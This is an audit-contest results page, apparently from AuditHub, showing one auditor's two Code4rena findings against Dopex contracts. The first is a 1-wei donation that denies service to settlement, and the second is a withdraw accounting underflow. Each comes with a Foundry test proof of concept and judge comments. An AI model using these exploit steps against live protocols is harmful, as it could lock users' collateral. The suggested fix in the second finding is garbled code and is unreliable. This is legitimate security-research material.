Dopex - 0xc0ffEE's results

A rebate system for option writers in the Dopex Protocol.

General Information

Platform: Code4rena

Start Date: 21/08/2023

Pot Size: $125,000 USDC

Total HM: 26

Participants: 189

Period: 16 days

Judge: GalloDaSballo

Total Solo HM: 3

Id: 278

League: ETH

Dopex

Findings Distribution

Researcher Performance

Rank: 157/189

Findings: 2

Award: $0.08

🌟 Selected for report: 0

🚀 Solo Findings: 0

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L764-L783 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVault.sol#L359-L361 https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/perp-vault/PerpetualAtlanticVaultLP.sol#L199-L205

Vulnerability details

Impact

In settle logics, RdpxV2Core contract calls to PerpetualAtlanticVault.settle() to update funding, burn option tokens and do some token settles. However, the logic could be reverted in the call IPerpetualAtlanticVaultLP(addresses.perpetualAtlanticVaultLP).subtractLoss(ethAmount) because of donation attack vector. An attacker could transfer only 1 wei to PerpetualAtlanticVaultLP contract to make the logic in function PerpetualAtlanticVaultLP.subtractLoss get reverted. So far, the impacts could be: 1.collateral get locked there; 2.protocol's settling function get DoS; 3. Pay funding for PerpetualAtlanticVault blocked

Proof of Concept

diff --git a/tests/rdpxV2-core/Unit.t.sol b/tests/rdpxV2-core/Unit.t.sol
index e11c284..a85c296 100644
--- a/tests/rdpxV2-core/Unit.t.sol
+++ b/tests/rdpxV2-core/Unit.t.sol
@@ -333,6 +333,24 @@ contract Unit is ERC721Holder, Setup {
     );
   }
 
+  function testSettle_DoS() public {
+    rdpxV2Core.bond(5 * 1e18, 0, address(this));
+    rdpxV2Core.bond(1 * 1e18, 0, address(this));
+
+    vault.addToContractWhitelist(address(rdpxV2Core));
+    uint256[] memory _ids = new uint256[](1);
+    _ids[0] = 0;
+    rdpxPriceOracle.updateRdpxPrice(1e7);
+
+    address attacker = vm.addr(1337);
+    deal(address(weth), attacker, 1 ether);
+    vm.startPrank(attacker);
+    weth.transfer(address(vaultLp), 1);
+    vm.stopPrank();
+    vm.expectRevert("Not enough collateral was sent out");
+    rdpxV2Core.settle(_ids);
+  }
+
   function testWithdraw() public {
     rdpxV2Core.addToDelegate(1 * 1e18, 10e8);
 

Tools Used

Foundry

Consider changing the way to track loss in PerpetualAtlanticVaultLP i.e: use ERC20#transfer() to transfer token from PerpetualAtlanticVaultLP to RdpxV2Core contract and then calculate loss within the same function instead of using PerpetualAtlanticVault to call ERC20#transferFrom

Assessed type

DoS

#0 - c4-pre-sort

2023-09-09T09:55:12Z

bytes032 marked the issue as duplicate of #619

#1 - c4-pre-sort

2023-09-11T16:14:25Z

bytes032 marked the issue as sufficient quality report

#2 - GalloDaSballo

2023-10-20T19:28:33Z

Coded POC

#3 - c4-judge

2023-10-20T19:32:41Z

GalloDaSballo marked issue #1227 as primary and marked this issue as a duplicate of 1227

#4 - c4-judge

2023-10-21T07:12:41Z

GalloDaSballo marked the issue as satisfactory

Lines of code

https://github.com/code-423n4/2023-08-dopex/blob/eb4d4a201b3a75dd4bddc74a34e9c42c71d0d12f/contracts/core/RdpxV2Core.sol#L975-L990

Vulnerability details

Impact

Function RdpxV2Core#withdraw() lets delegate owners withdraw their unused WETH. However, withdrawn amount is not deducted from totalWethDelegated, which causes WETH asset reserve tracked improperly. The impacts could be:

  1. Function sync gets reverted when totalWethDelegated is greater than token balance
  2. Due to wrong accounting asset reserve from sync() function, other logics get affected: a. lowerDepeg could get reverted because of underflowed at line reserveAsset[reservesIndex["WETH"]].tokenBalance -= _wethAmount; b. function provideFunding could get reverted because of underflowed ...

So far, many functions would get DoS

Proof of Concept

diff --git a/tests/rdpxV2-core/Unit.t.sol b/tests/rdpxV2-core/Unit.t.sol
index e11c284..710e5b3 100644
--- a/tests/rdpxV2-core/Unit.t.sol
+++ b/tests/rdpxV2-core/Unit.t.sol


+  function testWithdraw_NotDecreaseTotalDelegated() public {
+    rdpxV2Core.addToDelegate(1 * 1e18, 10e8);
+    rdpxV2Core.withdraw(0);
+
+    // sync() get revert due to underflowed
+    vm.expectRevert();
+    rdpxV2Core.sync();
+
+    dpxETH.approve(address(curvePool), 200 * 1e18);
+    dpxETH.mint(address(this), 200 * 1e18);
+    address coin0 = IStableSwap(curvePool).coins(0);
+    if (coin0 == address(weth)) {
+      IStableSwap(curvePool).exchange(1, 0, 110 * 1e18, 0);
+    } else {
+      IStableSwap(curvePool).exchange(0, 1, 110 * 1e18, 0);
+    }
+
+    rdpxV2Core.bond(5 * 1e18, 0, address(1));
+    rdpxV2Core.sync();
+    dpxEthPriceOracle.updateDpxEthPrice(98137847);
+    (, uint256 wethReserve1, ) = rdpxV2Core.getReserveTokenInfo("WETH");
+
+    vm.expectRevert();
+    rdpxV2Core.lowerDepeg(0, 1e18, 0, 0);
+  }
+
   function testUpperDepeg() public {
     // test upper depeg while price is lower than depeg
     vm.expectRevert(

Tools Used

Foundry, Manual review

Add totalWethDelegated -= totalWethDelegated += _amount; to function withdraw

Assessed type

Other

#0 - c4-pre-sort

2023-09-07T07:22:42Z

bytes032 marked the issue as duplicate of #2186

#1 - c4-pre-sort

2023-09-07T07:25:20Z

bytes032 marked the issue as sufficient quality report

#2 - GalloDaSballo

2023-10-17T17:24:24Z

Main because of POC

#3 - c4-judge

2023-10-20T15:59:28Z

GalloDaSballo marked the issue as selected for report

#4 - c4-judge

2023-10-20T17:52:36Z

GalloDaSballo marked issue #1788 as primary and marked this issue as a duplicate of 1788

#5 - c4-judge

2023-10-20T17:55:31Z

GalloDaSballo changed the severity to 2 (Med Risk)

#6 - c4-judge

2023-10-20T19:50:28Z

GalloDaSballo marked the issue as satisfactory

#7 - c4-judge

2023-10-21T07:38:54Z

GalloDaSballo changed the severity to 3 (High Risk)

#8 - c4-judge

2023-10-21T07:39:51Z

GalloDaSballo marked the issue as partial-50

AuditHub

A portfolio for auditors, a security profile for protocols, a hub for web3 security.

Built bymalatrax © 2024

Auditors

Browse

Contests

Browse

Get in touch

ContactTwitter